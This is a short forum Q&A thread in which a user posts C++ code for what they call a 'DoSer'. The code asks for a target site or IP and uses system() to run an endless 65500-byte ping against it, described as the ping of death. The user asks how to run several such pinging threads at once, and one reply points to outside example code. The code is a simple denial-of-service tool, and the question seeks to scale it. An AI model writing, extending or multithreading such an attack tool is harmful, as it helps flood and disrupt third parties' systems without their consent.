(C++) Howw to run multiple threads at once (C++)

Question

Im making a DoSer using C++ system commands withe the ping of death methood and need to run multiple threads of pinging at once please tell me how. current code:

#include <iostream>
#include <sstream>

using namespace std;

void atk()
{
string targ;

system("color a");
system("title C++ DoSer ");
cout << " What Site/IP Is Your Target?" << endl;
cin >> targ;

ostringstream pingData;
pingData << "ping " << targ << " -t -l 65500";
system(pingData.str().c_str());

return;
}
int main()
{
atk()
;return 0;
}

Answer 1

You can do somewhat similar to this.
https://code.sololearn.com/cldJfaAORdiT/?ref=app
//It runs on the offline compiler.

Answer 2

Tanay sorry but im dont understand how to run my code into the threads. please give me a more detailed description.